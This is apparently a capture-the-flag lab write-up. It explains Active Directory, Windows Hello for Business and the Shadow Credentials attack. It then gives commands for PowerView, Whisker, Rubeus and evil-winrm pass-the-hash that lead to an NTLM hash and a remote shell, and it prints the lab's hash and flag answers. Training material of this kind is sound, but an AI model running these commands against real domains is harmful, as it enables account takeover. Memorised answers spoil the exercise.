Jingle Bells, Shadow Spells
Learning Objectives:
- Understanding Active Directory
- Introduction to Windows Hello for Business
- Prerequisites for exploiting GenericWrite privilege
- How the Shadow Credentials attack works
- How to exploit the vulnerability
Active Directory 101:
Active Directory (AD) is a system mainly used by businesses in Windows environments. It’s a centralised authentication system. The Domain Controller (DC) is at the heart of AD and typically manages data storage, authentication, and authorisation within a domain.
You can think of AD as a digital database containing objects like users, groups, and computers, each with specific attributes and permissions. Ideally, it applies the principle of least privilege and uses a hierarchical approach to managing roles and giving authenticated users access to all non-sensitive data throughout the system. For this reason, assigning permissions to users must be approached cautiously, as it can potentially compromise the entire Active Directory. We’ll delve into this in the upcoming exploitation section.
Think Passwords Are Hard To Remember — Say Hello to WHfB:
Microsoft introduced Windows Hello for Business (WHfB) as a modern and secure way to replace conventional password-based authentication. Instead of relying on traditional passwords, WHfB utilises cryptographic keys for user verification. Users on the Active Directory domain can access the AD using a PIN or biometrics connected to a pair of cryptographic keys: public and private. Those keys help to prove the identity of the entity to which they belong. The msDS-KeyCredentialLink
is an attribute used by the Domain Controller to store the public key in WHfB for enrolling a new user device (such as a computer). In short, each user object in the Active Directory database will have its public key stored in this unique attribute.
Here’s the procedure to store a new pair of certificates with WHfB:
- Trusted Platform Module (TPM) public-private key pair generation: The TPM creates a public-private key pair for the user’s account when they enrol. It’s crucial to remember that the private key never leaves the TPM and is never disclosed.
- Client certificate request: The client initiates a certificate request to receive a trustworthy certificate. The organisation’s certificate issuing authority (CA) receives this request and provides a valid certificate.
- Key storage: The user account’s
msDS-KeyCredentialLink
attribute will be set.
Authentication Process:
- Authorisation: The Domain Controller decrypts the client’s pre-authentication data using the raw public key stored in the
msDS-KeyCredentialLink
attribute of the user's account. - Certificate generation: The certificate is created for the user by the Domain Controller and can be sent back to the client.
- Authentication: After that, the client can log in to the Active Directory domain using the certificate.
More on Active Directory:
Questions:
What is the hash of the vulnerable user?
After runing the command: Find-InterestingDomainAcl -ResolveGuids | Where-Object { $_.IdentityReferenceName -eq “hr” } | Select-Object IdentityReferenceName, ObjectDN, ActiveDirectoryRights , You get the vulnerable user.
Then run the command: .\Whisker.exe add /target:vansprinkles and use the output to run Rubeus as shown in the image below
Notice the NTML HASH given at the bottom:
NTLM HASH: 03E805D8A8C5AA435FB48832DAD620E3
What is the content of flag.txt on the Administrator Desktop?
To solve this navigate to the attack box (Kali) and run the command to execute evil-winrm which will provide access to remote shell.
command is: evil-winrm -i <YOUR_MACHINE_IP> -u vansprinkes -H <ntlmhash>
then navigate to C:\Users\Administrator\Desktop and there you get the value of flag.txt
flag: THM{XMAS_IS_SAFE}